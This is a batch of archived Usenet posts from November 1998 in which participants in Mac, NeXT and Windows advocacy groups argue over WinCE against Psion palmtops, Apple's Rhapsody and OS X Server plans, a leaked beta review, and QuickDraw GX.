References: <7329lg$ot0$1@nnrp02.primenet.com><ee352.3248$%X5.8067515@newsgate.direct.ca><732i4r$r9n$1@nnrp03.primenet.com> <slrn759k3h.n3m.float@interport.net><01be1452$1e5eb6b0$a007280a@ntw_bmladmin><01be150e$a7080a40$a1f1ccc3@default> <73783s$3b9$1@jimsun.uucp> <01be169e$d7eb04a0$72f1ccc3@default> <Pine.SOL.3.96.981124191714.20775D-100000@cssun.rrze.uni-erlangen.de>
Message-ID: <01be19df$731e0060$53f0ccc3@default>
Date: 27 Nov 98 00:21:38 GMT
Matthias Bethke <unrzi8@cssun.rrze.uni-erlangen.de> wrote:
> On 22 Nov 1998, Bjørnar Bolsøy wrote:
>
> > While the P3 performes very well in its traditional
> > areas of use, simple apointment scheduling for
> > people on the move (like my Psion3c), WinCE is
> > really targeted at a more powerful segment, typically
> > demanding better Internet and network connectivity,
>
> You mean, to have a more "powerful" palmtop, bugs, bloat and
> short battery life for a higher price are a good deal?
Depending on your requirements, absolutely.
I think you got things a bit wrong here. I started out by
saying that WinCE, for once, is something MS has done
right, you have now taken this into a little stand-off against
traditional PDAs.
Now this would be fine if all MS had in plan for WinCE
was strictly to compete with PDAs in the general field
of organizers and appointment schedulers but the
story is really much more complex, WinCE and HPCs
are not synonymous, WinCE is targeted at a wide
range of applications and hardware
- one is powering car-MFDs
- one is playing the latest games
- one is perfect for a business representative traveling
light without sacrificing too much of his familiar office
functionallity
- one does great for the lab assistant in the field where
a traditional laptop would not suffice
- one is providing a familiar face for in-check kiosk
devices
- one is decoding your latest news headlines and
movies
- it might even power your vacuum cleaner one day
How is PalmOS doing in the embedded market so far?
How about developing? WinCE supports over 500 Win32
APIs today which basically mean a familiar environment
for developers - translating to considerable reductions in
developing efforts.
Sometimes this even translates to reduced costs for
the end-user :^)
As I said, these two are apples and oranges, WinCE
is a better choice for the more powerful segment, a
Psion or a PalmPilot is the best choice for simpler
tasks.
> > better integration with your Win95 box, a keyboard,
>
> *Demanding* indeed. Applications that are called the same like their
> PeeCee counterparts abut are not even file-format compatible. That is,
> one can read the other, but the result looks quite different.
How compatible is your P3 in comparison besides
offering simple synchronization like the rest of the
bunch - Word? Wordpro? Word Perfect? G'ol Amipro?
What about database connectivity?
Can I hook it up to a cellphone? ATA devices, flash
memory, SRAM cards... USB?
> > high resolution color screens,
>
> Sure, WinCE is unusable without one.
It's not, features can be scaled according to needs.
However, the TopGun web-browser was a real pain on
the PalmPilot 5000 I set out to master a while ago and
although ProxiWeb is probably much, much better it
can also be had for WinCE.
How usable is your P3 with Japanese? Does it have
a basic Unicode text API at all?
> So the OS demands the screen, not the
> task the user wants hir palmtop to perfom.
What you want and what other want might differ -
substantiallty. :)
> > virtual writing,
>
> "Virtual" as opposed to "real"? Imagine, I can virtually write
> without a computer at all!
Well, if so, why do you need a PDA in the first place?
> > printing
>
> Printing from a palmtop? With a printer five times the size of the
> computer? If you carry anything around that can print an A4 sheet you
> could just as well add a full-blown Notebook with a decent OS.
Not really, we're talking about the ability to connect
your HPC directly to a printer or a network. This is
essential in your typical roaming business environment.
Besides, several small and light a4 printers are on the
market, even cordless ones, and while they are larger
than your HPC airline sequrity will not be too happy if
you exceed your hand-luggage limit by carring with
you a bulky laptop and your personal things on top
of that.
WinCE in the from of a HPC is really geared towards
the advanced business traveler.
> > There's a large number of excellent reviews of WinCE
> > on the net. A good starting point is perhaps:
> >
> > http://www.wincecity.com/reviews-software.html
> ^^^^^^^^^ Just why don't those excellent reviews in such a
> place surprise me?
I clearly said it was a starting point, nothing more.
> "The Jornada seems to be a nice fit for the mobile professional who needs
> *only* to communicate with others, and deal with *simple documents*."
> [Emphasis added by me, already tells a lot]
Really? How easy is it to write documents or emails on
your P3 without costly keyboard extension or hand
charracter recognition?
How does you P3 handle device sharing over a company
network. Can it be done at all?
> "The battery life and weight of the Jornada seem to be most appealing for
> people on the go."
> [1st place in euphemism!]
It's a simple tradeoff for speed and features really.
> "The e-mail capabilities are great although the Internet browser
> could use some work."
> [Email? Gimme a break! You need a 6502 for email, not a 190MHz >
StrongARM!]
You don't, the 190MHz is needed for more powerful tasks.
My bet is that the Jornada converts documents a fair
bit faster than your P3, which AFAIK uses a 16bit 16Mhz
M68k.
WinCE supports 5 different filesystems, ROM, RAM and
FAT12/16/32, and can easily be scaled down by developers
as they like to reduce resource requirements. The new
new file system wrapper actually supports up to 256
filesystems.
How many does your P3 support?
> "The price seems a bit high to me considering I can get a laptop running
> Windows 98 and a full fledged Internet browser for approximately $1200 or
> so, but as time goes on I'm sure some of these kinks will be worked out."
> [If that's as CE-friendly as it gets...]
It gets better all the time. That's the beauty of it, CE2/2.1
is miles ahead of CE1.0, launched just over a year ago.
How long has PalmOS been available?
> BTW, I can't help but notice the many games announcements on
> wince-city.com (think their name is an intended pun?). Doesn't quite fit
> the image of the "travelling professional". More like people who owned an
> Atari Lynx years ago because they disliked the GameBoy's B/W display :-)
You should see the amount of games available for my Psion,
you'd believe we're a bunch of raving baby lunatics. 8)
Anyway, after the Swissair accident I think twice before
flying planes with certain complex in-fligth entertainment
systems (ironically powered by NT4 and Intel in this case)
so Tetris on the Psion is great when I'm on the move. :^)
Regards...
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors and Apple's graphics)
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: Fri, 27 Nov 1998 00:19:09 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73kr5l$sd8$1@nnrp1.dejanews.com>
References: <73ie0q$35j@news1.panix.com> <B2825238-C25F@206.165.43.12>
In article <B2825238-C25F@206.165.43.12>,
"Lawson English" <english@primenet.com> wrote:
> Seems to me that it is YOU that are in denial over the political
> forces at work in dismantling the innovations that used to make
> Apple great.
>
<boggle>
What innovations when? Great when? Two years ago Apple was a company most
pundits claimed was in a terminal spin. Its decline has now been halted and
the company seems to be making a resurgence. Apple is making innovations,
just not in areas you seem to want -- innovate different.
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: Re: OS X Server Interface
Date: Fri, 27 Nov 1998 00:30:24 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73krr1$stc$1@nnrp1.dejanews.com>
References: <73jgpn$rnn$1@nnrp1.dejanews.com>
In article <73jgpn$rnn$1@nnrp1.dejanews.com>,
raxelbrof@my-dejanews.com wrote:
> For anyone who hasn't been to www.appleinsider.com (formerly MacNN
> Reality) there is a pretty good look at an OS X Server beta.
>
Uh-huh.
> This bit "you can tear of the entire menu bar" - WOW!
>
Umm, I thought it was public knowledge that this functionality has been
around since RRDR2.
The rest of the story, IMNSHO, is a flagrant breach of NDA, made all the
worse for several blatant factual inaccuracies(*), obvious from RDR2.
mmalc.
(*) The worst paragraph:
> Outside of the Blue Box, the average user would be lost.
>
Drivel. This isn't even true on RDR2.
> The Yellow
> Box as it stands is a hard-core unix environment with a partial Mac
> OS interface. Unix experience, and experience in a unix console is a
> *must* for operation of the current Mac OS X Server build.
>
Drivel. This isn't even true on RDR2.
> Files need to be expanded and decompressed from the unix command line,
> as does ftp access.
>
(a) For .compressed, .tar, and .Z files; wrong. These can all be
decompressed in Workspace in RDR2. (b) For just about any files, OpenUp (see
www.stepwise.com) will work fine. (c) Yes, OpenUp is a third party app, but
what does MacOS itself do when presented with a compressed file? Nothing.
You have to hope that a third-party app is installed.
> The build of Mac OS X Server tested by our sources did
> not contain any internet applications besides Mail Viewer, which led
> them to rely on unix ftp for file transfer.
>
(a) And MacOS...? Again, if a third-party app is installed, you're OK; if
not, you can't even do ftp. (b) What's wrong with OmniWeb? If MacOS is
allowed to use IE/NetScape for this functionality, why the double standards
in the review -- particularly as they even show OW running in one of the
screenshots.
> Application installations
> and other various tasks are better served when performed from the unix
> command line as well. This all may seem somewhat scary, though let's
> not forget, this is a beta.
>
Drivel. OpenUp remedies the deficiencies described. Further I'd point to the
existence of the Installer app for NEXTSTEP, and the overwhelming likelihood
that a similar application would be available for McOX.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: Re: MocOS X beta hovering on the horizon?
Date: Fri, 27 Nov 1998 00:37:37 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <73ks8h$t8r$1@nnrp1.dejanews.com>
References: <1dj3ezs.jix8xaj6qqjcN@port1-178.nordnet.fr> <1dj3gjk.ry49263zecyxN@p060.intchg2.net.ubc.ca>
In article <1dj3gjk.ry49263zecyxN@p060.intchg2.net.ubc.ca>,
bbennett@unixg.ubc.ca (Bruce Bennett) wrote:
> Aaron Smith <asmith@nordnet.fr> wrote, amidst the snippage:
>
> > It seems very logical to me that Apple will completely forego the "OSX
> > Server" release and go straight to a MW Jan. 98 release of OSX beta,
> > Carbon libs and all.
> > [...]
>
> Surely this can be taken as a fairly clear signal that Mac OS X Server
> (== Rhapsody) won't be released.
>
Not at all; Apple has committed to releasing WebObjects on PPC RSN, and in
order to do this they must use McOX-s. WO customers will not tolerate
running apps on a beta release OS.
Best wishes,
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: mrt@wer.lrg
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: ATTN: Now _THIS_ really is ludicrous!...
Date: Fri, 27 Nov 1998 00:51:51 GMT
Organization: CSW Net, Inc.
Message-ID: <365df5bc.24127562@news.cswnet.com>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <732i4r$r9n$1@nnrp03.primenet.com> <732tj1$5sg$1@birch.prod.itd.earthlink.net> <36553A21.5C21B332@gsfc.nasa.gov> <3655AC70.28E80D6E@home.today> <w0byaozcw9q.fsf@mah21awu.YP.sparcm1> <365DB81E.1EA2D9C3@stud.umist.ac.uk>
x-no-archive: yes
><snip processor/memory dicksize war>
>> Or 20 Processors and 10 GB? (Soon to be 30p, 15-20GB) ...
>
>Dum Dee Dum Amiga 1000
> 576 Processors
> 700 Gflop/s peak performance
> _148_G_B_ Ram
> 2Tb Disk Storage
> 125Tb Tape Backup
God, I haven't seen one of those in a coons age. The A1000 was
introduced back in '85. Man that sucker could crank. Where did you
find it? Who makes them today?
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 26 Nov 1998 20:06:00 -0500
Organization: MIT AI Lab
Sender: portnoy@kit.ai.mit.edu
Message-ID: <us5g1b6aqrr.fsf@kit.ai.mit.edu>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <F2IuKA.1AK@T-FCN.Net> <365193CC.4AEE4713@spamtoNull.com> <F2Kqu2.8Du@T-FCN.Net> <36599B34.A05CFC80@spamtoNull.com> <73cque$g8g$1@nnrp1.dejanews.com> <365B101D.B0709B43@spamtoNull.com> <F2y22F.8qz@T-FCN.Net> <365C4531.4FA26BA2@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> writes:
> Sigh...it is only because they have been stipulated to by both sides
> that they have been so easily accepted into evidence. [...]
[Rest of infinite loop deleted]
OK, so let me see if I've got this straight. You're saying that
because the emails are stipulated by both sides, they've been accepted
as valid evidence of what the principals involved sent. If, however,
that weren't the case, they may not be so accepted. Right?
Fantastic.
I'm willing to accept this, in the wanton hope that this thread will
die the death it so richly deserves. Who's with me?
Anyone?
I'll say "Nazis" if it helps.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: "Pascal Haakmat" <ahaakmat@cable.a2000.nl>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: J. Walt Covington is Jonathan Harker (was Re: "Knife the baby"
finally appears)
Date: Fri, 27 Nov 1998 02:26:04 +0100
Organization: A2000 Kabeltelevisie & Telecommunicatie
Message-ID: <73kv3d$9k5$1@newton.a2000.nl>
References: <364295A3.ABE8C927@earthlink.net>
<364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu>
<364DAC84.DDC3A1A4@spamtoNull.com>
<19981114211830178656@pm2-3-11.aug.com>
<365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com>
<cirby-1711981107070001@pm51-46.magicnet.net>
<36598CEC.A037534F@spamtoNull.com>
<cirby-2311981234010001@pm53-43.magicnet.net>
<365AE0D0.1C3F0058@earthlink.net>
<cirby-2411981225020001@pm61-44.magicnet.net>
<365C3A55.1E8FD416@spamtoNull.com> <73ie0p$35j@news1.panix.com>
<365CBEBE.1E30454D@yahoo.com>
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In article <365CBEBE.1E30454D@yahoo.com> , Robert Fovell <rfovell@yahoo.com>
wrote:
>To everyone else: I started this "Knife the baby" thread, and I most humbly
>apologize!
I remember, and won't hold it against you.
Pascal.
From: jpolaski@wwa.com (Jim Polaski)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Message-ID: <jpolaski-2611981619230001@d149-109.ce.mediaone.net>
References: <73iop0$29t@crab.afs.com>
Organization: Polaski P/D/C, 15 W. Hubbard, Chgo, IL
Date: Thu, 26 Nov 1998 16:19:23 -0600
NNTP-Posting-Date: Thu, 26 Nov 1998 16:19:23 CDT
In article <73iop0$29t@crab.afs.com>, "Greg Anderson" <greg@afs.com> wrote:
> Not that this should surprise anyone, but Apple got one of PC Week's IT
> Turkey Awards this week for Rhapsody. Specifically, it says:
>
> "Rotten Apple: Before iMac came the Rhapsody OS -- the *first* savior of
> Steve Jobs' enterprise. How many software developers wasted their time on a
> product that never saw the light of day?"
>
> Quibble with the details if you like, but you have to admit this is the
> common perception.
>
> Greg
=====
greg, is is possible, just possible that I note a wee bit of "BIAS" in
your commentary?
Why then is there any other explaination for your not reporting, in a
balanced manner, some of the other significant "turkey's mentioned in that
article?
Oh, you uh, missed or forget them? Nope, you read better than that right?
You, had a case of "Selective Vision", perhaps? OH, you do...well that's
better. I knew it was somethign simple.
So here, I'll save you the trouble of going back an re-reading the article
with your filtered vision:
> Editorial
> IT turkeys make life more interesting
>
>November 23, 1998 9:00 AM ET
>
> It's that time of year again--time to give thanks
>for all of the good things in life and for all of the
> turkeys that have crossed our
> path in the last year. They have made our lives more
> frustrating, more amusing and,
> ultimately, more interesting. So, without
> further ado, here are our IT Turkeys for 1998:
>
> WINDOWS 98 AND WINDOWS 2000:
>Microsoft hit bottom with its
> shameless midyear pleas to allow Windows
> 98 to ship on time, lest the economy tank
> and Western civilization
> collapse. At this Thanksgiving, most IT shops and
> many computer makers are still
> ignoring the glorified patch to Windows 95.
> As for Windows NT 5.0,
> Microsoft keeps telling us it will be out of the oven
>sooner than expected--when
> everyone in the know insists we won't see it
> before the middle of next
> year. Can we hear 2000?
...and thre are others for Java, GeoCities, etc....
for a complete view:
http://www.zdnet.com/pcweek/stories/columns/0,4351,372431,00.html
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: J. Walt Covington is Jonathan Harker (was Re: "Knife the baby" finally appears)
Date: 27 Nov 1998 01:54:43 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <73l0p3$pe0$1@news01.btx.dtag.de>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <atticus-0811981935190001@user-38lcbl7.dialup.mindspring.com> <727ggt$mba@news1.panix.com> <364A0F3E.912B8E3E@spamtoNull.com> <72dp06$1ks@news1.panix.com> <364B0920.74AB6512@spamtoNull.com> <72i4pl$e69$1@coward.cc.utah.edu> <364DAC84.DDC3A1A4@spamtoNull.com> <19981114211830178656@pm2-3-11.aug.com> <365069F2.4ED5904F@spamtoNull.com> <72qrqc$l0q@news1.panix.com> <cirby-1711981107070001@pm51-46.magicnet.net> <36598CEC.A037534F@spamtoNull.com> <cirby-2311981234010001@pm53-43.magicnet.net> <365AE0D0.1C3F0058@earthlink.net> <cirby-2411981225020001@pm61-44.magicnet.net> <365C3A55.1E8FD416@spamtoNull.com> <73ie0p$35j@news1.panix.com>
Mime-Version: 1.0
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Sal Denaro <sal@panix.com> wrote:
> On Wed, 25 Nov 1998 12:11:49 -0500, Jonathan Harker
> <Limeyville@spamtoNull.com> wrote:
> >> "J. Walt Covington" <johnandsusanne@earthlink.net> wrote:
> >I can't speak for him, but...
>
> Of course you can, "John Walter Covington" is "Jonathan Harker".
>
> You both use Earthlink.
> You both use Netscape 4.5
> You both use on Win98
> You are both in the same newsgroups (and only these newsgroups)
> You both use the same emoticon forms (ellipses and ending smiley.)
> You are both fond of starting a reply with phrases like "You are
> completely missing the point" and "Let's try it again slow..."
> You are both named "John"
> You are both fond of enumerating a list by starting with "First, "
> and then never listing a "second" or "third".
> You both echo the same opinions.
>
> It is pretty easy to see that there are just too many coincidences.
>
> Ohh, and if you try to deny it; I'll just send a polite inquiry to
> Earthlink and get them to give me a strait answer.
For some extra special fun: try finding the replies by "Jonathan Harker"
and "J. Covington" to
<joe.ragosta-ya02408000R0409970842540001@news.dol.net>
Subject: Re: 100 million, just to walk away. on DejaNews ;-)
Lars T.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: nagle@netcom.com (John Nagle)
Subject: Re: The future of OS X Server is bleak
Message-ID: <nagleF326qt.E2A@netcom.com>
Organization: ICGNetcom
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73jfcb$cef$2@sun27.hrz.tu-darmstadt.de> <gmgraves-2611981038390001@sf-usr0-43-107.dialup.slip.net>
Date: Fri, 27 Nov 1998 02:25:40 GMT
Sender: nagle@netcom6.netcom.com
gmgraves@slip.net (George Graves) writes:
>> gmgraves@slip.net (George Graves) wrote:
>> >I've often wondered what the point of releasing OS-X Server actually is.
>> >Apple says that there is never going to be anything beyond v.1.0, and that
>> >OSX-Server won't have Carbon support, so basically what you get is an
>> >OS which will run Yellow-Box apps, or current MacOS apps (in a container)
>> >along with Java apps. Doesn't seem very compelling to me.
True. Sounds rather like A/UX, doesn't it.
What we still have from Apple is what we've had for the last five
years; the old MacOS today, and a new OS forever two years away.
Few in the developer community take Apple's OS announcements seriously
any more.
Anyone want to make up a timeline for all the instances of
"Apple announces new OS - Apple changes name of new OS - Apple fails
to ship new OS on schedule - Apple drops new OS"? That would be fun
to have on a web page, especially with links to copies of old Apple
press releases.
John Nagle
From: Peter Ammon <Peter_Ammon@rocketmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Thu, 26 Nov 1998 19:27:22 +0000
Organization: University of California, Berkeley
Message-ID: <365DAB9C.A25EEFE5@rocketmail.com>
References: <364295A3.ABE8C927@earthlink.net> <36446139.B0696A55@spamtoNull.com> <19981107182220271838@pm2-2-23.aug.com> <36462729.BDFBC1C0@spamtoNull.com> <19981109212809124993@pm2-2-15.aug.com> <364A12A5.4B55B381@spamtoNull.com> <199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com> <rbarris-ya023280001211980050240001@206.82.216.1> <adtF2Bw7x.Do7@netcom.com> <rbarris-ya023280001211981405070001@206.82.216.1> <01be0e95$8dc4e640$06387880@chewy> <364C8D5D.A48C7BF@spamtoNull.com> <01be0f81$1c03c700$06387880@chewy> <364DB6C5.13839446@spamtoNull.com> <72qrqd$l0q@news1.panix.com> <3659891D.6E6A5069@spamtoNull.com> <cirby-2311981230320001@pm53-43.magicnet.net> <73cqgm$a85$1@bunyip.cc.uq.edu.au> <cirby-2311981829260001@pm56-03.magicnet.net> <365B0CAD.67D67710@spamtoNull.com>
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Jonathan Harker wrote:
> Chad Irby wrote:
> >
> > "Christopher Smith" <drsmithy@usa.net> wrote:
> >
> > > That's that "modern" computer/OS with no protected memory, poor
> > > multitasking, no SMP and memory management even Windows *3.0* was better
> > > than isn't it ?
> >
> > Buzzword compliance is really important to you, isn't it?
> >
>
> "Buzzword" defined:
>
> "Foundational OS characteristics the Mac OS doesn't have. Mac
> worshippers don't care that the upcoming Mac OS is slated to have all of
> these "buzzwords", and that's probably because at a deep subconscious
> level they really don't trust *anything* Apple says about its upcoming
> OSs. So, they run the sour-grapes riot act and speak boldly of
> Buzzwords. Until, that is, the day when the Mac OS actually incorporates
> the Buzzwords. From that day forward, the Buzzwords become Wonderful
> MacOS Features that are highly praised as though they are not Buzzwords,
> but Brand-New Apple Originals."
>
Ahem. Give me a non-buzzword compliant computer that works well over a
buzzword compliant one that doesn't. Even without protected memory, the Mac OS
is quite stable; even without PMT I rarely have trouble with background tasks
not completing. And, might I add, the PC users were quoted with such gems as
"I hate clicking on icons" until Windows came out, at which point "Windows made
the computer accesible to everyone;" stop projecting your history of sour
grapes onto Mac users.
>
> > I suppose you think that Windows 98 has all of those things, too?
> >
>
> Why should it matter, "those things" being merely buzzwords?....:)
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Linux: "amazingly great" part II
Date: Thu, 26 Nov 1998 22:58:50 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <73l84c$6qn@crab.afs.com>
References: <72evt6$15u$1@nnrp1.dejanews.com> <861zn8w3jc.fsf@topquark.spots.ab.ca> <97042EDDF11DA39D.35D6071AA669CB56.DAD30F1AEB9000E9@library-proxy.airnews.net> <adtF2LuuL.94M@netcom.com> <8BCE6683759C636E.39EBC39E32EDEFD1.EE283FD409C77147@library-proxy.airnews.net> <19981119172620914958@mp-39-31.daxnet.no> <1dj3qwb.1lp1ao8dzrq3oN@ascend-tk-p50.rhrz.uni-bonn.de>
Dirk Theisen wrote:
>Is someone working on YB/Java?
Um, Apple? It's pretty well known at this point, having been provided with
both of the Developer Releases.
Greg
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Date: Thu, 26 Nov 1998 23:10:20 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <73l8ps$6r6@crab.afs.com>
References: <73iop0$29t@crab.afs.com> <jpolaski-2611981619230001@d149-109.ce.mediaone.net>
Jim Polaski wrote in message ...
>greg, is is possible, just possible that I note a wee bit of "BIAS" in
>your commentary?
> [snip remainder of two messages]
I'm gonna cut you a break for slamming me, because (1) it's Thanksgiving,
and I'm feeling charitable; and (2) it's obvious you don't know who I am.
I AM one of those developers who wasted their time. I am one of the oldest
remaining NEXTSTEP/YB developers (over 7 years of experience), with two
products -- a page layout app and a word processor -- just itching to ship
on the Solutions CD that is intended to accompany the commercial release of
OSX Server. There is virtually no one more qualified to talk about this
situation than me.
Yeah, there are plenty of other turkeys in that article, but that's the only
one that applies to me and the groups I posted to. Unlike the other people
polluting these groups nowadays, I try to stay on topic.
Greg
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The future of OS X Server is bleak
Date: 27 Nov 1998 05:14:19 GMT
Organization: Primenet (602)416-7000
Message-ID: <73lcfb$jvr$1@nnrp02.primenet.com>
References: <199811251000.LAA32318@replay.com> <gmgraves-2511981252010001@sf-usr0-27-91.dialup.slip.net> <73hti4$73$1@nnrp02.primenet.com> <73koop$qkl$1@nnrp1.dejanews.com>
malcolm@plsys.co.uk wrote:
: In article <73hti4$73$1@nnrp02.primenet.com>,
: John Jensen <jjens@primenet.com> wrote:
: > As it now stands Java is a better cross-platform development environment
: > because it is available and it is legal to sell Java applications on
: > multiple platforms. The Yellow Box isn't a contender, not through any
: > technical fault of its own, but simply because it is not available.
: Again, strictly speaking you're correct, however again OPENSTEP is
: available. What rules OPENSTEP out of the consumer market is the
: exorbitant cost of the runtimes, which would eclipse the cost of an
: entire office suite on other platforms.
That's all I'm saying, yes. Apple has a lot of technoledgy in-hand with
OPENSTEP and the derived products. A lot of companies have gone to market
with less and been successful.
John
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MocOS X beta hovering on the horizon?
Date: 27 Nov 1998 04:45:31 GMT
Organization: Digital Fix Development
Message-ID: <73lapb$i5q$1@news.digifix.com>
References: <1dj3ezs.jix8xaj6qqjcN@port1-178.nordnet.fr> <1dj3gjk.ry49263zecyxN@p060.intchg2.net.ubc.ca>
In-Reply-To: <1dj3gjk.ry49263zecyxN@p060.intchg2.net.ubc.ca>
On 11/26/98, Bruce Bennett wrote:
>Aaron Smith <asmith@nordnet.fr> wrote, amidst the snippage:
>
>> It seems very logical to me that Apple will completely forego the
"OSX
>> Server" release and go straight to a MW Jan. 98 release of OSX
beta,
>> Carbon libs and all.
>>
>> They want to forget about "Rhapsody" as a strategy (the press
already
>> has). To the average joe, this would look like MacOS X is a little
bit
>> ahead of schedule.
>
>Further, in testifying against Microsoft's virtual monopoly in the
>desktop OS market, Avie Tevanian claimed that Apple had been
compelled
>to abandon Rhapsody, since it's impossible to break into the
>MS-dominated market with a new OS.
>
>Surely this can be taken as a fairly clear signal that Mac OS X
Server
>(== Rhapsody) won't be released.
>
No.
What was said is that Apple had to drop the idea of
positioning Rhapsody as a __NEW__ OS.
Mac OS X Server will be released.
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OS X Server Interface
Date: 27 Nov 1998 04:48:20 GMT
Organization: Digital Fix Development
Message-ID: <73lauk$i94$1@news.digifix.com>
References: <73jgpn$rnn$1@nnrp1.dejanews.com> <rgrempel-2611981130180001@ms01-569.tor.istar.ca>
In-Reply-To: <rgrempel-2611981130180001@ms01-569.tor.istar.ca>
On 11/26/98, Ryan Rempel wrote:
>One thing that surprised me in this report is the comment that PPP
dial-up
>connections don't work in either the Yellow Box or the Blue Box. Is
that
>true? It would certainly limit the use I was hoping to make of OS X
>Server.
>
Considering that
Apple hasn't released Mac OS X Server yet
and
Apple hasn't authorized ANY public reviews of the betas (so
they were breaking either an NDA, or the had a pirated copy, which is
even worse)
and
There were many factual errors in the article itself, leading
even more clearly that their is reason to believe that this release
was obtained in a less than legal manner.....
I'd not put much stock in what they say.
>In article <73jgpn$rnn$1@nnrp1.dejanews.com>,
raxelbrof@my-dejanews.com wrote:
>
>>For anyone who hasn't been to www.appleinsider.com (formerly MacNN
Reality)
>>there is a pretty good look at an OS X Server beta.
>
--
Scott Anguish <sanguish@digifix.com>
Stepwise - OpenStep/Rhapsody Information
<URL:http://www.stepwise.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
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Organization: needs one
References: <F33832.GJn@T-FCN.Net> <B284461D-2BBFC@206.165.43.28>
Mime-Version: 1.0
Date: Fri, 27 Nov 1998 21:10:02 GMT
In <B284461D-2BBFC@206.165.43.28> "Lawson English" wrote:
> I can't speak for PowerTalk, but people NEED to use GX for several
> important purposes, including using Creator2, AND for simple creation of
> QuickTime vectors.
Which, sadly, still fits into the heading "no one was using it".
> To suggest that Apple has "obsoleted" GX simply because
> "noone is using it" is to ignore its potential uses
Same with PowerTalk. I still don't see you crying over it though.
> and the fact that it
> was only 6 months ago that Apple hired an outside consultant to fix the
> MacOS 8 printing issue.
It was not six months ago, I assume you meant it was six months before it
was canceled.
> If Apple had thought that no-one was using it, why did they hire someone
> to fix a specific problem?
Har, you think that's dumb? Wait until you read that book I told you
about!
> And Maury, I'd like to hear you describe how you would go about creating a
> QT vectors editor WITH GX and without.
I wouldn't.
> Without GX, the editing of QT vectors is nowhere near as easy as it is
> WITH GX, or so it seems after my browsing of the QT vectors manual.
Sounds to me like we should chuck QT Vectors then. Since GX is no longer
in existance, it never ran on PC's, and didn't even run on most Macs, then
clearly any solution based on it needs to be changed too. Of course I
don't think the real situation is anything even remotely like this, but if
it is, it's broken and needs ot be changed.
> And please try to tell me that this isn't a useful feature.
It's not, it's a problem.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.mac.hypercard,comp.sys.next.advocacy
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 27 Nov 98 00:52:04 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B283A854-16F9D@206.165.43.110>
